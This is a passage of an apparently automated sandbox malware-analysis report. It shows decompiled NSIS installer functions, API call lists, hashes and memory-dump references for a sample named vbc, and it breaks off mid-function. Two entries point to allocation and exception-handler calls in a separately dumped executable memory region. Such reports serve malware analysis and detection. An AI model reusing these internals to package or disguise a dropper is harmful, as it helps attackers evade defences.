Opcode Fuzzy Hash: 9fb603fede25fb898487281d482ffd6bfc4faf2318a45113ad9fbe8bf1240638
Instruction Fuzzy Hash: 9541EEB16147898FEB30DE28CC947DA3BE1AF5A360F44412EDE898B360D3358A458B42

Uniqueness

Uniqueness Score: -1.00%

Function 036F573A Relevance: 1.6, APIs: 1, Instructions: 115memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(2D8F4F79,89ADB1F8,-C72EFA09,89ADB1FC), ref: 036F5943

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f264c035c0c9ea3825a9e03a2f100137f5bed00b5414c21b867614c4a91e0cca
Instruction ID: 7e07f07f9921a3c3c58824c7dbcdb1b12f9d0f2e51026527925b2920b92a28bb
Opcode Fuzzy Hash: f264c035c0c9ea3825a9e03a2f100137f5bed00b5414c21b867614c4a91e0cca
Instruction Fuzzy Hash: 9741D0B16193898FDB30DF28DC95BDA7BE0AF5A310F04802EDE8D8B264D3354A45CB56

Uniqueness

Uniqueness Score: -1.00%

Function 036F8354 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

RtlAddVectoredExceptionHandler.NTDLL ref: 036F8399

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 142380cb7f3e0cb9b4cda54e9b256ef6fd6461e881c6f1a09808c426975aabf4
Instruction ID: a69744aa7d0ed6810904c949ef738bb57089f8530352077443aee32ec125cb33
Opcode Fuzzy Hash: 142380cb7f3e0cb9b4cda54e9b256ef6fd6461e881c6f1a09808c426975aabf4
Instruction Fuzzy Hash: 80F019766007898FDB68DE688DD83DA37A3AFC4305F248179CD499B714DB3499858A00

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9A Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403F9A(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x42d250 = _t34;
					if(_t130 == 0x110) {
						 *0x434f08 = _t127;
						 *0x42d264 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x42b230 = _t91;
						E00404499(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x433ee8);
						 *0x433ecc = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x42d250 = 1;
					}
					_t124 =  *0x40a368; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x434f20;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E004044E5(0x40b);
						while(1) {
							_t36 =  *0x42d250;
							 *0x40a368 =  *0x40a368 + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a368; // 0x0
							__eflags = _t38 -  *0x434f24;
							if(_t38 ==  *0x434f24) {
								E0040140B(1);
							}
							__eflags =  *0x433ecc - _t136;
							if( *0x433ecc != _t136) {
								break;
							}
							__eflags =  *0x40a368 -  *0x434f24; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E0040657A(_t117, _t127, _t133, 0x445000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E00404499(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E00404499(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E00404499(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x434f8c - _t136;
							_v28 = _t48;
							if( *0x434f8c != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008); // executed
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
							E004044BB(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x42b230, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x434f8c - _t136;
							if( *0x434f8c == _t136) {
								_push( *0x42d264);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x42b230);
							}
							E004044CE();
							E0040653D(0x42d268, E00403F7B());
							E0040657A(0x42d268, _t127, _t133,  &(0x42d268[lstrlenW(0x42d268)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x42d268); // executed
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x433ed8); // executed
									 *0x42c240 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x434f00,  *_t133 +  *0x433ee0 & 0x0000ffff, _t127,  *( *(_t133 + 4) * 4 + "XF@"), _t133); // executed
									__eflags = _t73 - _t136;
									 *0x433ed8 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E00404499(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x433ed8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x433ecc - _t136;
									if( *0x433ecc != _t136) {
										goto L63;
									}
									ShowWindow( *0x433ed8, 8); // executed
									E004044E5(0x405);
									goto L60;
								}
								__eflags =  *0x434f8c - _t136;
								if( *0x434f8c != _t136) {
									goto L63;
								}
								__eflags =  *0x434f80 - _t136;
								if( *0x434f80 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x433ed8);
						 *0x434f08 = _t136;
						EndDialog(_t127,  *0x42ba38);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x433ed8, 0x40f, 0, 1);
						__eflags =  *0x433ecc;
						return 0 |  *0x433ecc == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x42d248, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x433ed8, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x434f8c - _t136;
											if( *0x434f8c == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x42ba38 = 1;
												L23:
												_push(0x78);
												L24:
												E00404472();
												goto L28;
											}
											E0040140B(_t129);
											 *0x42ba38 = _t129;
											goto L23;
										}
										__eflags =  *0x40a368 - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x433ed8);
						 *0x433ed8 = _t122;
						L60:
						if( *0x42f268 == _t136 &&  *0x433ed8 != _t136) {
							ShowWindow(_t127, 0xa); // executed
							 *0x42f268 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x42d248,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E00404500(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

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APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FD6
ShowWindow.USER32(?), ref: 00403FF6
GetWindowLongW.USER32(?,000000F0), ref: 00404008
ShowWindow.USER32(?,00000004), ref: 00404021
DestroyWindow.USER32 ref: 00404035
SetWindowLongW.USER32 ref: 0040404E
GetDlgItem.USER32(?,?), ref: 0040406D
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404081
IsWindowEnabled.USER32(00000000), ref: 00404088
GetDlgItem.USER32(?,00000001), ref: 00404133
GetDlgItem.USER32(?,00000002), ref: 0040413D
SetClassLongW.USER32(?,000000F2,?), ref: 00404157
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A8
GetDlgItem.USER32(?,00000003), ref: 0040424E
ShowWindow.USER32(00000000,?), ref: 0040426F
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404281
EnableWindow.USER32(?,?), ref: 0040429C
GetSystemMenu.USER32 ref: 004042B2
EnableMenuItem.USER32 ref: 004042B9
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042D1
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042E4
lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 0040430E
SetWindowTextW.USER32 ref: 00404322
ShowWindow.USER32(?,0000000A), ref: 00404456

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: 655396db076bddd1a804ad939a9de1a35d1e50ec2b89a3d41d0d0026322ce3ca
Instruction ID: 19e8ffe36521fda3862950d2389d84f1ef0c133ac5ff71005f69e3a94542e2f3
Opcode Fuzzy Hash: 655396db076bddd1a804ad939a9de1a35d1e50ec2b89a3d41d0d0026322ce3ca
Instruction Fuzzy Hash: DDC1A1B1A00704ABDB206F61EE49E2B3A68FB84746F15053EF741B61F1CB799841DB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEC Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403BEC(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x434f10;
				_t22 = E0040690A(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x42d268;
					L"1033" = 0x30;
					 *0x442002 = 0x78;
					 *0x442004 = 0;
					E0040640B(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x42d268, 0);
					__eflags =  *0x42d268;
					if(__eflags == 0) {
						E0040640B(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x42d268, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E00406484(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403EC2(_t78, _t90);
				 *0x434f80 =  *0x434f18 & 0x00000020;
				 *0x434f9c = 0x10000;
				if(E00405F14(_t90, 0x440800) != 0) {
					L16:
					if(E00405F14(_t98, 0x440800) == 0) {
						E0040657A(_t76, 0, _t82, 0x440800,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x434f00, 0x67, 1, 0, 0, 0x8040);
					 *0x433ee8 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403EC2(_t78, __eflags);
							__eflags =  *0x434fa0;
							if( *0x434fa0 != 0) {
								_t33 = E00405672(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x433ecc;
								if( *0x433ecc == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x42d248, 5); // executed
							_t39 = E0040689A("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E0040689A("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x433ea0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x433ea0);
								 *0x433ec4 = _t87;
								RegisterClassW(0x433ea0);
							}
							_t44 = DialogBoxParamW( *0x434f00,  *0x433ee0 + 0x00000069 & 0x0000ffff, 0, E00403F9A, 0); // executed
							E00403B3C(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x434f00;
						 *0x433ea4 = E00401000;
						 *0x433eb0 =  *0x434f00;
						 *0x433eb4 = _t30;
						 *0x433ec4 = 0x40a380;
						if(RegisterClassW(0x433ea0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x42d248 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x434f00, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x432ea0;
					E0040640B(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x434f38 + _t78 * 2,  *0x434f38 +  *(_t82 + 0x4c) * 2, 0x432ea0, 0);
					_t63 =  *0x432ea0; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x432ea2;
						 *((short*)(E00405E39(0x432ea2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040653D(0x440800, E00405E0C(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405E58(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

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0x00403ca6
0x00000000
0x00000000
0x00403cb4
0x00403cc6
0x00403ccb
0x00403cd4
0x00000000
0x00000000
0x00403cda
0x00403cdc
0x00403ce9
0x00403ce9
0x00403cf2
0x00403cf8
0x00403d20
0x00403d28
0x00000000
0x00403d0a
0x00403d0b
0x00403d14
0x00403d1a
0x00403d1b
0x00000000
0x00403d1b
0x00403d16
0x00403d18
0x00000000
0x00000000
0x00000000
0x00403d18
0x00403cf8

APIs

Part of subcall function 0040690A: GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
Part of subcall function 0040690A: GetProcAddress.KERNEL32(00000000,?), ref: 00406937

lstrcatW.KERNEL32 ref: 00403C6D
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74EDD4C4), ref: 00403CED
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00440800,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403D00
GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403D0B
LoadImageW.USER32 ref: 00403D54

Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491

RegisterClassW.USER32 ref: 00403D91
SystemParametersInfoW.USER32 ref: 00403DA9
CreateWindowExW.USER32 ref: 00403DDE
ShowWindow.USER32(00000005,00000000), ref: 00403E14
GetClassInfoW.USER32 ref: 00403E40
GetClassInfoW.USER32 ref: 00403E4D
RegisterClassW.USER32 ref: 00403E56
DialogBoxParamW.USER32 ref: 00403E75

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403BF1
.exe, xrefs: 00403CFA
1033, xrefs: 00403C0C, 00403C68
.DEFAULT\Control Panel\International, xrefs: 00403C58
RichEd32, xrefs: 00403E28
RichEd20, xrefs: 00403E1A
RichEdit20W, xrefs: 00403E38, 00403E3E
Control Panel\Desktop\ResourceLocale, xrefs: 00403C20
_Nb, xrefs: 00403D70, 00403DD8
Call, xrefs: 00403CB4, 00403CBD, 00403CCB, 00403D1A, 00403D20
RichEdit, xrefs: 00403E47

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2633365883
Opcode ID: 4d5bc0c8b1d06963261e86736c564a0ba68078006fcf7539d23d4665df175b37
Instruction ID: 6cc527b2f10929733706d009ff8c1d9b21e511251dd9cb17fe62514cef47010a
Opcode Fuzzy Hash: 4d5bc0c8b1d06963261e86736c564a0ba68078006fcf7539d23d4665df175b37
Instruction Fuzzy Hash: F561A670140300BED721AF66ED46F2B3A6CEB84B5AF40453FF945B62E2CB7D59018A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040307D Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E0040307D(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				long _t70;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				void* _t85;
				signed int _t87;
				void* _t89;
				long _t90;
				long _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				 *0x434f0c = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, 0x443800, 0x400);
				_t89 = E0040602D(0x443800, 0x80000000, 3);
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040653D(0x441800, 0x443800);
				E0040653D(0x444000, E00405E58(0x441800));
				_t50 = GetFileSize(_t89, 0);
				 *0x42aa24 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00403019(1);
					if( *0x434f14 == _t82) {
						goto L29;
					}
					if(_v8 == _t82) {
						L28:
						_t34 =  &_v24; // 0x40387d
						_t53 = GlobalAlloc(0x40,  *_t34); // executed
						_t94 = _t53;
						E004034E5( *0x434f14 + 0x1c);
						_t35 =  &_v24; // 0x40387d
						_push( *_t35);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004032B4(); // executed
						if(_t57 == _v24) {
							 *0x434f10 = _t94;
							 *0x434f18 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x434f1c =  *0x434f1c + 1;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405FE8(0x434f20, _t94 + 4, 0x40);
							return 0;
						}
						goto L29;
					}
					E004034E5( *0x41ea18);
					if(E004034CF( &_a4, 4) == 0 || _v12 != _a4) {
						goto L29;
					} else {
						goto L28;
					}
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x434f14) & 0x00007e00) + 0x200;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						if(E004034CF(0x416a18, _t90) == 0) {
							E00403019(1);
							L29:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x434f14 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E00403019(0);
							}
							goto L20;
						}
						E00405FE8( &_v44, 0x416a18, 0x1c);
						_t77 = _v44;
						if((_t77 & 0xfffffff0) == 0 && _v40 == 0xdeadbeef && _v28 == 0x74736e49 && _v32 == 0x74666f73 && _v36 == 0x6c6c754e) {
							_a4 = _a4 | _t77;
							_t87 =  *0x41ea18; // 0x1629b
							 *0x434fa0 =  *0x434fa0 | _a4 & 0x00000002;
							_t80 = _v20;
							 *0x434f14 = _t87;
							if(_t80 > _t93) {
								goto L29;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v8 = _v8 + 1;
								_t93 = _t80 - 4;
								if(_t90 > _t93) {
									_t90 = _t93;
								}
								goto L20;
							} else {
								break;
							}
						}
						L20:
						if(_t93 <  *0x42aa24) {
							_v12 = E004069F7(_v12, 0x416a18, _t90);
						}
						 *0x41ea18 =  *0x41ea18 + _t90;
						_t93 = _t93 - _t90;
					} while (_t93 != 0);
					_t82 = 0;
					goto L24;
				}
			}

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0x00000000
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0x00000000
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0x004031dd
0x004031dd
0x004031e0
0x004031e6
0x004031e6
0x004031ee
0x00000000
0x004031ee

APIs

GetTickCount.KERNEL32(74EDD4C4,C:\Users\user\AppData\Local\Temp\,00000000,?,?,?,?,?,0040387D,?), ref: 0040308E
GetModuleFileNameW.KERNEL32(00000000,00443800,00000400,?,?,?,?,?,0040387D,?), ref: 004030AA

Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,00443800,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406053

GetFileSize.KERNEL32(00000000,00000000,00444000,00000000,00441800,00441800,00443800,00443800,80000000,00000003,?,?,?,?,?,0040387D), ref: 004030F6
GlobalAlloc.KERNELBASE(00000040,}8@,?,?,?,?,?,0040387D,?), ref: 0040322C

Strings

Inst, xrefs: 00403162
soft, xrefs: 0040316B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403084
Null, xrefs: 00403174
Error launching installer, xrefs: 004030CD
}8@, xrefs: 00403227, 00403242
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403253

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$}8@
API String ID: 2803837635-3947366757
Opcode ID: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
Instruction ID: 750c061bb954c4555836cecba7cc54c639b148d890841a972b43b12454d44aa7
Opcode Fuzzy Hash: b2925046ebf4ee23c20be954f21b6b8de3b8febbf6f0f410cc7df6a070a5bb34
Instruction Fuzzy Hash: 7951B571904204AFDB10AF65ED42B9E7EACAB48756F14807BF904B62D1C77C9F408B9D

Uniqueness

Uniqueness Score: -1.00%

Function 004032B4 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004032B4(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				short _v152;
				void* _t65;
				long _t70;
				intOrPtr _t75;
				long _t76;
				intOrPtr _t77;
				void* _t78;
				int _t88;
				intOrPtr _t92;
				intOrPtr _t95;
				long _t96;
				signed int _t97;
				int _t98;
				int _t99;
				intOrPtr _t100;
				void* _t101;
				void* _t102;

				_t97 = _a16;
				_t92 = _a12;
				_v12 = _t97;
				if(_t92 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t92;
				if(_t92 == 0) {
					_v16 = 0x422a20;
				}
				_t62 = _a4;
				if(_a4 >= 0) {
					E004034E5( *0x434f58 + _t62);
				}
				if(E004034CF( &_a16, 4) == 0) {
					L41:
					_push(0xfffffffd);
					goto L42;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t92 != 0) {
							if(_a16 < _t97) {
								_t97 = _a16;
							}
							if(E004034CF(_t92, _t97) != 0) {
								_v8 = _t97;
								L44:
								return _v8;
							} else {
								goto L41;
							}
						}
						if(_a16 <= _t92) {
							goto L44;
						}
						_t88 = _v12;
